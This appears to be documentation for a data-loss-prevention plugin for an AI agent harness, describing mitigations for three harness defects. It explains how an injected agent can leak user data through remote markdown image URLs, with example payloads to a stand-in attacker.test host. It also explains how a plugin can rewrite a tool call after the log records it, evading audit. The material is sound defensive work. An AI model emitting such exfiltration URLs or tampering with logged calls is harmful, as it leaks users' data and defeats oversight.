dsh-dlp

Harness defect mitigations

← dsh-dlp docs

Three of this plugin’s registrations work around defects in DeepSeek Harness, not in a deployment’s configuration. None of them closes its channel, an upstream fix is better in all three cases, and each is written up in ../disclosures/findings/. They are here because we build on these seams today and wanted the accident case narrowed while the upstream question is open.

Remote markdown images in assistant output (finding 001)

The web UI renders any absolute http(s) markdown image a model emits as a real <img src>, and the harness sets no Content-Security-Policy. An injected agent emitting ![](https://attacker.test/?d=<base64 of something you said>) makes your browser issue that request; the harness process never sees it, so no guard, no DLP pass and no audit surface here can observe it.

This plugin wraps the llm/stream waterfall and replaces the destination of every inline markdown image whose target is an absolute http:/https: URL, keeping the alt text:

![receipt](https://attacker.test/p?d=c2VjcmV0)   ->   ![receipt](dsh-dlp-blocked-remote-image)

The placeholder is deliberately not a URL, so the renderer takes its own “not an absolute destination” arm and shows the alt text instead of fetching anything. Rewriting happens before the text becomes an assistant/chunk or assistant/message event, so the session log and the rendered answer agree, and it happens on streamed deltas too — a destination arriving eight characters at a time is caught before any accumulation of it can render. The audit record names the hostname only, never the path or query string, because that is where an exfiltration payload rides.

What it does not close:

A tool call rewritten between tools/pre-execute and the guard (finding 002)

The registry deep-freezes exec.arguments but does not freeze the execution object until results are notified. A tools/pre-execute listener can therefore reassign exec.arguments or exec.name — and reassigning exec.name changes which tool body runs — while the agent loop appended tool/call from the model’s own response block before the waterfall ran. The durable record then describes a call that never happened, and nothing warns anyone.

This plugin snapshots each call’s name and a keyed digest of its arguments at the head of the waterfall, and compares in the guard, which runs after the whole waterfall. A mismatch is denied, with an audit record naming which field changed and, when the name changed, the tool the log recorded:

dsh-dlp denied "dangerous": another mounted plugin rewrote this call's name after the session
log recorded it, so the log and the presented call describe something other than what would
have run. The session log records a call to "safe". ...

What it does not close:

The telemetry redactor cannot run under the shipped default (finding 008)

A session-telemetry/record listener mounts successfully and silently never runs under the shipped DSH_TELEMETRY_MODE=DISABLED, because the coordinator that dispatches the waterfall is constructed only in FULL/FEEDBACK_ONLY. Nothing is exported in that mode, so this is not a leak — it is a verification trap: you mount a redactor, see it mount, and have verified nothing.

When telemetryRedaction is on, this plugin reads the mounted backend’s own sharing disclosure and reports on process.stderr and ctx.logger when the seam will never dispatch:

dsh-dlp: telemetryRedaction is enabled, but the mounted session-telemetry backend reports
sharing "disabled", so nothing dispatches the session-telemetry/record waterfall and this
plugin's telemetry redaction never runs. Nothing is exported in this state, so this is not a
leak — it means the redaction rules are unverified, and they begin running the moment
telemetry is turned on. Informational only: the plugin's other seams are unaffected.

What it does not close: